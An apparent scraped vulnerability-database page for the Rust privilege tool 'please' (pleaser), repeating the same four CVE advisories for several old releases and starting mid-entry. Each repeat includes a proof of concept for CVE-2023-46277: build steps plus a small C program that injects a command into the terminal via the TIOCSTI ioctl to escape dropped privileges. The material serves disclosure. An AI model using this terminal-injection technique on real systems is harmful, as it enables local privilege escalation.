$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Sep 01, 2020

0.3.1 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Aug 31, 2020

0.3.0 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Aug 30, 2020

0.2.0 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Aug 27, 2020

0.1.0 unknown

4 CVEs

CVE-2023-46277 GHSA-cgf8-h3fp-h956 RUSTSEC-2023-0066 Oct 20, 2023

Pleaser privilege escalation vulnerability

High

Local Low Low None

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

Updated Sep 12, 2024 · Source: OSV.dev

CVE-2021-31155 GHSA-vc5p-j8vw-mc6x RUSTSEC-2021-0101 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

Failure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31154 GHSA-pp74-39w2-v4w9 RUSTSEC-2021-0102 Aug 25, 2021

Permissions bypass in pleaser

7.8 / 10

High

Local Low Low None Unchanged High High High

pleaseedit in pleaser before 0.4.0 uses predictable temporary filenames in /tmp and the target directory. This allows a local attacker to gain full root privileges by staging a symlink attack.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2021-31153 GHSA-f3fg-5j9p-vchc RUSTSEC-2021-0104 Aug 25, 2021

File exposure in pleaser

3.3 / 10

Low

Local Low Low None Unchanged Low None None

pleaser before 0.4.0 allows a local unprivileged attacker to gain knowledge about the existence of files or directories in privileged locations via the search_path function, the --check option, or the -d option.

Fixed in


          0.4.0

References

Updated Nov 08, 2023 · Source: OSV.dev

Aug 23, 2020

Activity

Details